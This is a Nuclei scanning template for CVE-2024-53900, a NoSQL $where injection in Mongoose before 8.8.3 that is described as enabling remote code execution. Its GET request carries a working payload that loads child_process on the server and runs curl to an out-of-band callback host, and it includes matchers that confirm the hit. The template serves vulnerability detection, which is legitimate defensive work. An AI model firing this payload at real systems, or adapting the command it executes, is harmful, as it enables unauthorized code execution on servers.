Description
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
id: CVE-2024-53900
info:
name: Mongoose < 8.8.3 - Remote Code Execution
author: h4mg
severity: critical
description: |
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
impact: |
Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.
remediation: |
Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.
reference:
- https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
- https://github.com/advisories/GHSA-m7xq-9374-9rvx
- https://www.youtube.com/watch?v=WX_N1NGPbug
- https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
- https://nvd.nist.gov/vuln/detail/CVE-2024-53900
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2024-53900
cwe-id: CWE-89
epss-score: 0.03904
epss-percentile: 0.89745
metadata:
verified: true
max-request: 1
product: mongoose
framework: nodejs
shodan-query: "Server: Mongoose"
tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev,vuln
variables:
pfield: "author"
http:
- method: GET
path:
- "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "User-Agent: curl")'
condition: and
# digest: 490a00463044022005a081ea28d6de80cc032b5b23f6bdc83c27e873cc541b47f4a00cab60b98c5f022069be03459a2285e2ed6e957174f0098591174b69b7fc2b3eb63842dc7cfe26dd:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.